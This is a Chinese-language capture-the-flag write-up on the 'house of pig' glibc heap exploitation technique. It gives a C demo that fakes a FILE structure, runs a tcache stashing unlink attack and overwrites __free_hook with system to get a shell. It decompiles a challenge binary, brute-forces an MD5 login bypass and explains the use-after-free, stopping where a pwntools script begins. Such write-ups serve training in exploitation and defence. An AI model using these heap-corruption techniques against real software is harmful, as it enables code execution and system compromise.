"__libc_IO_vtables:00000000001E95B8 dq offset sub_924E0\n"
"__libc_IO_vtables:00000000001E95C0 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95C8 dq offset _IO_default_doallocate\n"
"__libc_IO_vtables:00000000001E95D0 dq offset sub_937F0\n"
"__libc_IO_vtables:00000000001E95D8 dq offset sub_93800\n"
"__libc_IO_vtables:00000000001E95E0 dq offset sub_937D0\n"
"__libc_IO_vtables:00000000001E95E8 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95F0 dq offset sub_937E0\n"
"__libc_IO_vtables:00000000001E95F8 dq offset sub_93810\n"
"__libc_IO_vtables:00000000001E9600 dq offset sub_93820\n\n");
printf_color(GREEN, UNDEFINED, "其偏移为0x1E9560。将其填充到vtable字段,偏移为0xD8。\n");
size_t _IO_str_jumps = libc_base + 0x1E9560;
fake_FILE = _IO_str_jumps;
printf_color(GREEN, UNDEFINED, "然后,我们进入_IO_str_overflow函数看看。\n\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/strops.c, line 80)\n");
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_str_overflow (FILE *fp, int c)\n"
"{\n"
"int flush_only = c == EOF;\n"
"size_t pos;\n"
"if (fp->_flags & _IO_NO_WRITES)\n"
" return flush_only ? 0 : EOF;\n"
"if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))\n"
" {\n"
" fp->_flags |= _IO_CURRENTLY_PUTTING;\n"
" fp->_IO_write_ptr = fp->_IO_read_ptr;\n"
" fp->_IO_read_ptr = fp->_IO_read_end;\n"
" }\n"
"pos = fp->_IO_write_ptr - fp->_IO_write_base;\n"
"if (pos >= (size_t) (_IO_blen (fp) + flush_only))\n"
" {\n"
" if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */\n"
"\treturn EOF;\n"
" else\n"
"\t{\n"
"\033[1;31m\tchar *new_buf;\n"
"\tchar *old_buf = fp->_IO_buf_base;\n"
"\tsize_t old_blen = _IO_blen (fp);\n"
"\tsize_t new_size = 2 * old_blen + 100;\n"
"\tif (new_size < old_blen)\n"
"\t return EOF;\n"
"\tnew_buf = malloc (new_size);\n"
"\tif (new_buf == NULL)\n"
"\t {\n"
"\t /*\t__ferror(fp) = 1; */\n"
"\t return EOF;\n"
"\t }\n"
"\tif (old_buf)\n"
"\t {\n"
"\t memcpy (new_buf, old_buf, old_blen);\n"
"\t free (old_buf);\n"
"\t /* Make sure _IO_setb won't try to delete _IO_buf_base. */\n"
"\t fp->_IO_buf_base = NULL;\n"
"\t }\n\033[1;" PURPLE "m"
"\tmemset (new_buf + old_blen, '\\0', new_size - old_blen);\n"
"\n"
"\t_IO_setb (fp, new_buf, new_buf + new_size, 1);\n"
"\tfp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);\n"
"\tfp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);\n"
"\tfp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);\n"
"\tfp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);\n"
"\n"
"\tfp->_IO_write_base = new_buf;\n"
"\tfp->_IO_write_end = fp->_IO_buf_end;\n"
"\t}\n"
" }\n"
"\n"
"if (!flush_only)\n"
" *fp->_IO_write_ptr++ = (unsigned char) c;\n"
"if (fp->_IO_write_ptr > fp->_IO_read_end)\n"
" fp->_IO_read_end = fp->_IO_write_ptr;\n"
"if (flush_only)\n"
" return 0;\n"
"else\n"
" return c;\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这里会连续调用malloc、memcpy、free函数。\n");
printf_color(GREEN, UNDEFINED, "house of pig想要在这里大做文章。\n");
printf_color(GREEN, UNDEFINED, "首先需要通过tcache stashing unlink attack或其他方法向tcache中插入__free_hook附近的地址。\n");
printf_color(GREEN, UNDEFINED, "然后在运行到此时,首先通过malloc分配出来,然后memcpy将指定位置的内容复制到__free_hook。\n");
printf_color(GREEN, UNDEFINED, "最后通过free函数执行__free_hook中的内容,这里将__free_hook修改为system函数地址。\n");
printf_color(GREEN, UNDEFINED, "通过代码我们可以知道,memcpy是将_IO_buf_base(结构体内偏移0x38)地址处的内容复制到__free_hook。\n");
printf_color(GREEN, UNDEFINED, "而这个复制的原地址是我们可控的,需要我们在伪造的FILE结构体中设置。\n");
printf_color(GREEN, UNDEFINED, "这里我们设置这个地址的值为第一个chunk的地址+0x20。\n");
printf_color(GREEN, UNDEFINED, "............\n");
fake_FILE = chunk_1 + 0x20;
printf_color(GREEN, UNDEFINED, "设置完成。之后我们需要注意malloc函数申请的chunk大小,其申请的大小需要经过计算。\n");
printf_color(GREEN, UNDEFINED, "计算方式是:(_IO_buf_end - _IO_buf_base) * 2 + 100。\n");
printf_color(GREEN, UNDEFINED, "这要求我们正确设置_IO_buf_end的值。如果使用0x100的tcache进行攻击,则end-base=0x46。\n");
printf_color(GREEN, UNDEFINED, "据此设置_IO_buf_end为第一个chunk的地址+0x20+0x46(结构体内偏移0x40)。\n");
printf_color(GREEN, UNDEFINED, "............\n");
fake_FILE = chunk_1 + 0x20 + 0x46;
printf_color(GREEN, UNDEFINED, "设置完成。最后注意free函数的参数是FILE结构体的起始地址,因此在第二个chunk+0x20处写入\"/bin/sh\\x00\"。\n");
printf_color(GREEN, UNDEFINED, "另外在第二个chunk+0x30处写入system函数地址,memcpy函数能够将这里的地址复制到__free_hook。\n");
strcpy((char*)(chunk_1 + 0x20), "/bin/sh");
*(size_t*)(chunk_1 + 0x20 + 0x10) = (size_t)system;
printf_color(GREEN, UNDEFINED, "............\n");
printf_color(GREEN, UNDEFINED, "设置完成。\n\n");
printf_color(RED, HIGHLIGHT, "第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n");
printf_color(GREEN, UNDEFINED, "当赛题中只使用calloc时,只有在tcache中存放堆地址,才能让malloc分配到__free_hook。\n");
printf_color(GREEN, UNDEFINED, "下面进行这种攻击的常规流程:\n");
printf_color(GREEN, UNDEFINED, "首先分配9个chunk并释放,7个到tcache,2个到small bins。然后分配两个tcache chunk出来。\n");
void* chunks;
for(int i=0; i<7; i++)
chunks = malloc(0xF0);
malloc(0x20); // to avoid consolidate
chunks = malloc(0xF0);
malloc(0x20); // to avoid consolidate
chunks = malloc(0xF0);
malloc(0x20); // to avoid consolidate
for(int i=0; i<9; i++)
free(chunks);
malloc(0xF0);
malloc(0xF0);
malloc(0x100);
printf_color(GREEN, UNDEFINED, "依次释放9个chunk,tcache中的chunk应该为:7->6->5->4->3->2->1。\n");
printf_color(GREEN, UNDEFINED, "unsorted bin中的chunk应该为:9<->8。\n");
printf_color(GREEN, UNDEFINED, "然后分配出来两个tcache chunk,再分配一个较大的chunk,让unsorted bin的两个chunk进入small bins。\n");
printf_color(GREEN, UNDEFINED, "应该修改第9个chunk的bk指针为__free_hook附近地址。\n");
printf_color(GREEN, UNDEFINED, "............\n");
*(size_t*)((size_t)(chunks) + 0x8) = __free_hook - 0x20;
printf_color(GREEN, UNDEFINED, "修改完成,之后分配一个出来进行攻击。\n");
calloc(1, 0xF0);
printf_color(GREEN, UNDEFINED, "已经分配出来了一个chunk,现在0x100的tcache中的第一个chunk就是__free_hook附近的地址。\n\n");
printf_color(RED, HIGHLIGHT, "第六步:调用exit函数触发house of pig漏洞。\n");
printf_color(GREEN, UNDEFINED, "现在,所有的东西都已经布置好了,只需要一个exit函数,我们就能够执行预期的函数调用链并getshell。\n");
exit(-1);
}
```
## house of pig
### 检查信息
没找到原 `libc`,这里使用如上 `libc` 。
### 试运行
### 逆向分析
```cpp
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int id; //
int new_id; //
Info *info; //
Info info1; // BYREF
Info info2; // BYREF
Info info3; // BYREF
unsigned __int64 v13; //
v13 = __readfsqword(0x28u);
init_state();
welcome();
init_info1(&info1);
init_info2(&info2);
init_info3(&info3);
id = 1;
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Peppa Pig first~");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
info = &info1;
get_info1(&info1);
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1:
add(info, id);
break;
case 2:
show(info, id);
break;
case 3:
edit(info, id);
break;
case 4:
delete(info, id);
break;
case 5:
new_id = login();
if ( new_id && new_id != id )
{
switch ( id )
{
case 1:
set_info1(info);
break;
case 2:
set_info2(info);
break;
case 3:
set_info3(info);
break;
}
id = new_id;
switch ( new_id )
{
case 1:
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Peppa Pig~");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
info = &info1;
get_info1(&info1);
break;
case 2:
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Mummy Pig~");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
info = &info2;
get_info2(&info2);
break;
case 3:
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Daddy Pig~");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
info = &info3;
get_info3(&info3);
break;
}
}
break;
default:
puts("Invalid...");
break;
}
}
}
```
一道 `c++` 的 `pwn` 题。三只猪用户,一共五种操作,添加,查看,修改,删除,登录。最开始默认`peppa`(猪A)先操作,猪A的 `id=1` ,`Mummy` (猪B)的 `id=2`,`Daddy` (猪C)的 `id=3`。
```cpp
unsigned __int64 __fastcall add(Info *info, int id)
{
unsigned __int64 v3; //
v3 = __readfsqword(0x28u);
switch ( id )
{
case 1:
add_1(info);
break;
case 2:
add_2(info);
break;
case 3:
add_3(info);
break;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall add_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
int i; //
int j; //
int size; //
unsigned __int64 v9; //
v9 = __readfsqword(0x28u);
for ( i = 0; i <= 19 && info->ptr; ++i )
;
if ( i == 20 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( state->min_size1 <= 0x8F )
state->min_size1 = 0x90;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
size = get_num();
if ( size >= state->min_size1 && size <= 0x430 )
{
state->min_size1 = size;
info->ptr = (char *)calloc(1uLL, size);
if ( !info->ptr )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
info->size = size;
info->flag1 = 0;
info->flag2 = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
for ( j = 0; j < size / 0x30; ++j )
read_n(&info->ptr, 0x10LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
int i; //
int j; //
int size; //
unsigned __int64 v9; //
v9 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && info->ptr; ++i )
;
if ( i == 10 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( state->min_size2 <= 0x8F )
state->min_size2 = 0x90;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
size = get_num();
if ( size >= state->min_size2 && size <= 0x450 )
{
state->min_size2 = size;
info->ptr = (char *)calloc(1uLL, size);
if ( !info->ptr )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
info->size = size;
info->flag1 = 0;
info->flag2 = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
for ( j = 0; j < size / 0x30; ++j )
read_n(&info->ptr, 0x10LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int i; //
int j; //
int size; //
_BYTE *v11; //
unsigned __int64 v12; //
v12 = __readfsqword(0x28u);
for ( i = 0; i <= 4 && info->ptr; ++i )
;
if ( i == 5 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( state->min_size3 <= 0x8F )
state->min_size3 = 0x90;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
size = get_num();
if ( size > 0x8F && size <= 0x440 )
{
state->min_size3 = size;
info->ptr = (char *)calloc(1uLL, size);
if ( !info->ptr )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
info->size = size;
info->flag1 = 0;
info->flag2 = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
for ( j = 0; j < size / 0x30; ++j )
read_n(&info->ptr, 0x10LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
if ( i == 4 )
{
v11 = calloc(1uLL, 0xE8uLL);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "01dwang's Gift:");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
read_n(v11, 0xE8LL);
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v12;
}
```
添加操作一共有三种,分别对应猪A,猪B,猪C。猪A可以遍历 `0~19` 的索引,并添加一个大小在 `0x90~0x430` 的 `chunk`,猪B 只能遍历 `0~9` 的索引,并添加大小在 `0x90~0x450` 的 `chunk`。对于猪C,则是 `0~4` 的索引和 `0x90~0x440` 的 `chunk`。猪A, 猪B分配的`chunk`大小只能一次比一次大或者本次与上一次相等,但猪C没有这个限制。另外,在猪C函数中如果添加 `chunk` 的索引为 `4`,则还可以再分配一个大小为`0xE8`的`chunk`并写入最大长度为`0xE8`的内容。 3只猪在`add`之后可以立即向新分配的`chunk`中写入内容,但不是`chunk`中任何位置都能写,`chunk`空间以`48`字节为大小分组。对于猪A,每一组48字节空间只能写前面16字节,对于猪B则是只能写中间16字节,对于猪C只能写后面`16`字节。在写入后,会设置两个标志位为0。
```cpp
unsigned __int64 __fastcall show(Info *info, int id)
{
__int64 v2; // rax
unsigned __int64 v4; //
v4 = __readfsqword(0x28u);
if ( state->show_times <= 0 )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No view for you...");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
switch ( id )
{
case 1:
show_1(info);
break;
case 2:
show_2(info);
break;
case 3:
show_3(info);
break;
}
--state->show_times;
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall show_1(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; //
unsigned __int64 v5; //
v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 20 )
{
if ( a1->ptr && a1->size && !a1->flag1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_2(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; //
unsigned __int64 v5; //
v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 10 )
{
if ( a1->ptr && a1->size && !a1->flag1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_3(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; //
unsigned __int64 v5; //
v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 5 )
{
if ( a1->ptr && a1->size && !a1->flag1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
```
3只猪可以查看的索引范围和可以`add`的索引范围相同。而且查看时需要有一个标志位为0。这个标志位是`add`中设置的两个标志位中的第一个。本题限制`view`的次数最多为2次。
```cpp
unsigned __int64 __fastcall edit(Info *info, int id)
{
__int64 v2; // rax
unsigned __int64 v4; //
v4 = __readfsqword(0x28u);
if ( state->edit_times <= 0 )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No edit for you...");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
switch ( id )
{
case 1:
edit_1(info);
break;
case 2:
edit_2(info);
break;
case 3:
edit_3(info);
break;
}
--state->edit_times;
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall edit_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; //
unsigned int index; //
int v6; //
unsigned __int64 v7; //
v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 20 )
{
if ( info->ptr && info->size && !info->flag1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
v6 = info->size / 0x30;
for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr, 0x10LL); ++i )
;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; //
unsigned int index; //
int v6; //
unsigned __int64 v7; //
v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 10 )
{
if ( info->ptr && info->size && !info->flag1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
v6 = info->size / 0x30;
for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr, 0x10LL); ++i )
;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; //
unsigned int index; //
int v6; //
unsigned __int64 v7; //
v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 5 )
{
if ( info->ptr && info->size && !info->flag1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
v6 = info->size / 0x30;
for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr, 0x10LL); ++i )
;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
```
3只猪可以修改的索引范围和可以`add`的索引范围相同。而且修改时需要有一个标志位为0。这个标志位和`view message`的标志位相同。本题限制`edit`的次数最多为8次。
```cpp
unsigned __int64 __fastcall delete(Info *info, int a2)
{
unsigned __int64 v3; //
v3 = __readfsqword(0x28u);
switch ( a2 )
{
case 1:
delete_1(info);
break;
case 2:
delete_2(info);
break;
case 3:
delete_3(info);
break;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall delete_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; //
unsigned __int64 v5; //
v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 0x14 )
{
if ( info->ptr && !info->flag1 && !info->flag2 )
{
free(info->ptr);
info->flag1 = 1;
info->flag2 = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; //
unsigned __int64 v5; //
v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 0xA )
{
if ( info->ptr && !info->flag1 && !info->flag2 )
{
free(info->ptr);
info->flag1 = 1;
info->flag2 = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; //
unsigned __int64 v5; //
v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 5 )
{
if ( info->ptr && !info->flag1 && !info->flag2 )
{
free(info->ptr);
info->flag1 = 1;
info->flag2 = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
```
3只猪可以删除的索引范围和可以`add`的索引范围相同。删除后会将两个标志位置为1。
```cpp
__int64 login()
{
__int64 v0; // rax
__int64 v2; // rax
__int64 v3; // rax
unsigned int v4; //
int v5; // BYREF
char s; // BYREF
char v7; // BYREF
unsigned __int64 v8; //
v8 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(
&std::cout,
"Please enter the identity password of the corresponding user:");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
memset(s, 0, sizeof(s));
memset(v7, 0, 0x50uLL);
read_n(s, 0x40LL);
v4 = strlen(s);
if ( !v4 )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "What's this?");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
MD5_initalize(v5);
MD5_init1(v5, s, v4);
MD5_init2(v5, (__int64)v7);
if ( !memcmp(v7, "\xA2'\x90\xD5\xEA\xD5\x37\xA3\xE1\x6D\x4Fc\x17\x7F\xB2X", 0x11uLL)
|| !memcmp(v7, "R\xEC\x3C\x4An\x13\"#\xCA\xF9L\xA2\xFA\x8D\x9B{", 0x11uLL)
// 第三位为 '\x00',存在提前截断。
|| !strcmp(v7, "<D\x00T\x92c \xAC\xF0\xAA\x1C\xBA\x8C\xBD\x96\xDA") )
{
if ( s == 'C' )
return 3LL;
if ( (unsigned __int8)s - 'A' <= 2 )
{
if ( s == 'A' )
return 1LL;
if ( s == 'B' )
return 2LL;
}
}
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Couldn't find this password!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
return 0LL;
}
unsigned __int64 __fastcall MD5_initalize(_DWORD *a1)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
// MD5魔数
*a1 = 0;
a1 = 0;
a1 = 0x67452301;
a1 = 0xEFCDAB89;
a1 = 0x98BADCFE;
a1 = 0x10325476;
return __readfsqword(0x28u) ^ v2;
}
```
根据条件爆破密码。
```python
import hashlib
import string
import itertools
def find_string(start_char):
chars = string.ascii_letters + string.digits
for guess in itertools.product(chars, repeat=5):
s = start_char + ''.join(guess)
md5_value = hashlib.md5(s.encode()).hexdigest()
if md5_value[:6] == '3c4400':
return s
return None
print(find_string('A'))
print(find_string('B'))
print(find_string('C'))
```
需要知道每个角色的密码,才能通过对应密码 `md5` 的比较判断,但是这里判断用的 `strcmp`,且其中有个 `md5` 值中的包含 `‘\x00’ ` ,所以实际上会提前截断,而以` ‘\x3c\x44\x00’` 开头的 `md5`,对应的原值其实是有很多的,所以这里可以任意切换角色。
```cpp
unsigned __int64 __fastcall set_info1(Info *info)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
memcpy(state, info, 0xC0uLL);
memcpy(state->info1.size, info->size, sizeof(state->info1.size));
memcpy(state->info1.flag2, info->flag2, sizeof(state->info1.flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info2(Info *info)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
memcpy(&state->info2, info, 0xC0uLL);
memcpy(state->info2.size, info->size, sizeof(state->info2.size));
memcpy(state->info2.flag2, info->flag2, sizeof(state->info2.flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info3(Info *info)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
memcpy(&state->info3, info, 0xC0uLL);
memcpy(state->info3.size, info->size, sizeof(state->info3.size));
memcpy(state->info3.flag2, info->flag2, sizeof(state->info3.flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info_1(Info *info)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
memcpy(info, state, 0xC0uLL);
memcpy(info->size, state->info1.size, sizeof(info->size));
memcpy(info->flag1, state->info1.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info1.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info2(Info *info)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
memcpy(info, &state->info2, 0xC0uLL);
memcpy(info->size, state->info2.size, sizeof(info->size));
memcpy(info->flag1, state->info2.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info2.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info_3(Info *info)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
memcpy(info, &state->info3, 0xC0uLL);
memcpy(info->size, state->info3.size, sizeof(info->size));
memcpy(info->flag1, state->info3.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info3.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
```
在检查函数通过之后,如果我们会更换用户,则会将原来用户分配的`chunk`复制到一个程序预先分配号的一块空间,然后将新用户的`chunk`以及标志位等从那一块空间中复制出来。
### 漏洞利用
本题的漏洞就在于用户的分配上。由于新用户只是复制了第二个标志位,对于某个`chunk`的索引而言,如果原用户的两个对应标志位均为0,而新用户的两个标志位为1,则用户转换后,两个标志位分别为0和1。注意`view message`和`edit message`检查的都是第1个标志位是否为0,对于新用户而言,这个索引原本的`chunk`是已经被释放的,但这样一来我们就可以再一次访问这个`chunk`,这就产生了`UAF`。我们可以申请到在`tcache`保存大小范围的`chunk`,也可以申请到大于`tcache`大小的`chunk`,而且程序通过`calloc` 分配堆块会跨过 `tcache`,符合 `house of pig` 利用条件。关于新版本 `largebin_attack` 和 `tcache_stashing_unlink_attack` 请看前言提到的文章。
**前置脚本**
```python
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
